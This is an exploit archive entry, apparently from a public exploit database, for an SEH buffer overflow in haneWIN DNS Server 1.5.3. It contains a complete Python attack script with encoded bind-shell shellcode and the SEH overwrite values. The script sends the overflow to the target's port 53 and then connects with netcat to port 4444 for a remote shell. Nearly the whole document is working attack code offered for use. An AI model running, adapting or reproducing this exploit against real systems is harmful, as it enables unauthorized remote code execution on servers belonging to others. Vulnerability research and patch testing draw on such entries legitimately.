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haneWIN DNS Server 1.5.3 Buffer Overflow

haneWIN DNS Server 1.5.3 Buffer Overflow
Posted Jan 29, 2014
Authored by Dario Estrada

haneWIN DNS server version 1.5.3 structured exception handler (SEH) buffer overflow exploit.

tags | exploit, overflow
SHA-256 | 5ff4049dea782c7dcd51a3676c2edd85d01ac652a47a47c3bf62de5c0bf51ed3

haneWIN DNS Server 1.5.3 Buffer Overflow

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#!/usr/bin/python

# Exploit Title: haneWIN DNS Server (SEH)
# Author: Dario Estrada (dash) https://intrusionlabs.org
# Date: 2014-01-29
# Version: haneWIN DNS Server 1.5.3
# Vendor Homepage: http://www.hanewin.net/
# Vulnerable app link:http://www.hanewin.net/dns-e.htm
# Tested on: Windows XP SP3
# Thanks to God, to my family and all my friends for always being there
#
# Description:
# A SEH overflow occurs when large amount of data is sent to the server
#
import socket, sys, os, time

usage = "\n Usage: " + sys.argv[0] + " <host> \n"

if len(sys.argv) < 2:
print usage
sys.exit(0)

host = sys.argv[1]

shellcode = (
#msfpayload windows/shell_bind_tcp R | msfencode -t c -b '\x00\xff\x0a\x0d'
"\xb8\xdf\x64\x04\x29\xd9\xc7\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x56\x31\x45\x13\x83\xed\xfc\x03\x45\xd0\x86\xf1\xd5\x06\xcf"
"\xfa\x25\xd6\xb0\x73\xc0\xe7\xe2\xe0\x80\x55\x33\x62\xc4\x55"
"\xb8\x26\xfd\xee\xcc\xee\xf2\x47\x7a\xc9\x3d\x58\x4a\xd5\x92"
"\x9a\xcc\xa9\xe8\xce\x2e\x93\x22\x03\x2e\xd4\x5f\xeb\x62\x8d"
"\x14\x59\x93\xba\x69\x61\x92\x6c\xe6\xd9\xec\x09\x39\xad\x46"
"\x13\x6a\x1d\xdc\x5b\x92\x16\xba\x7b\xa3\xfb\xd8\x40\xea\x70"
"\x2a\x32\xed\x50\x62\xbb\xdf\x9c\x29\x82\xef\x11\x33\xc2\xc8"
"\xc9\x46\x38\x2b\x74\x51\xfb\x51\xa2\xd4\x1e\xf1\x21\x4e\xfb"
"\x03\xe6\x09\x88\x08\x43\x5d\xd6\x0c\x52\xb2\x6c\x28\xdf\x35"
"\xa3\xb8\x9b\x11\x67\xe0\x78\x3b\x3e\x4c\x2f\x44\x20\x28\x90"
"\xe0\x2a\xdb\xc5\x93\x70\xb4\x2a\xae\x8a\x44\x24\xb9\xf9\x76"
"\xeb\x11\x96\x3a\x64\xbc\x61\x3c\x5f\x78\xfd\xc3\x5f\x79\xd7"
"\x07\x0b\x29\x4f\xa1\x33\xa2\x8f\x4e\xe6\x65\xc0\xe0\x58\xc6"
"\xb0\x40\x08\xae\xda\x4e\x77\xce\xe4\x84\x0e\xc8\x2a\xfc\x43"
"\xbf\x4e\x02\x72\x63\xc6\xe4\x1e\x8b\x8e\xbf\xb6\x69\xf5\x77"
"\x21\x91\xdf\x2b\xfa\x05\x57\x22\x3c\x29\x68\x60\x6f\x86\xc0"
"\xe3\xfb\xc4\xd4\x12\xfc\xc0\x7c\x5c\xc5\x83\xf7\x30\x84\x32"
"\x07\x19\x7e\xd6\x9a\xc6\x7e\x91\x86\x50\x29\xf6\x79\xa9\xbf"
"\xea\x20\x03\xdd\xf6\xb5\x6c\x65\x2d\x06\x72\x64\xa0\x32\x50"
"\x76\x7c\xba\xdc\x22\xd0\xed\x8a\x9c\x96\x47\x7d\x76\x41\x3b"
"\xd7\x1e\x14\x77\xe8\x58\x19\x52\x9e\x84\xa8\x0b\xe7\xbb\x05"
"\xdc\xef\xc4\x7b\x7c\x0f\x1f\x38\x8c\x5a\x3d\x69\x05\x03\xd4"
"\x2b\x48\xb4\x03\x6f\x75\x37\xa1\x10\x82\x27\xc0\x15\xce\xef"
"\x39\x64\x5f\x9a\x3d\xdb\x60\x8f"
)

nSEH = '\xeb\x06\x90\x90'
SEH = '\xd1\x07\xfc\x7f'
opcode = "\xe9\xdf\xf6\xff\xff"
junk = 'A' * (2324 - len(shellcode))
padding = 'A' * 600

buff = shellcode + junk + nSEH + SEH + opcode + padding

print "[+] Connecting to %s:53" % (host)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 53))
aix= shellcode + 'A' * (2324 - len(shellcode))
print "[*] Sending payload.." + " shellcode: " + str(len(shellcode))
s.send(buff)
print "[*] Exploit Sent Successfully!"
s.close()
print "[+] Waiting for 5 sec before spawning shell to " + host + ":4444\r"
time.sleep(5)
os.system ("nc -n " + host + " 4444")
except:
print "[!] Could not connect to " + host + ":53\r"
sys.exit(0)

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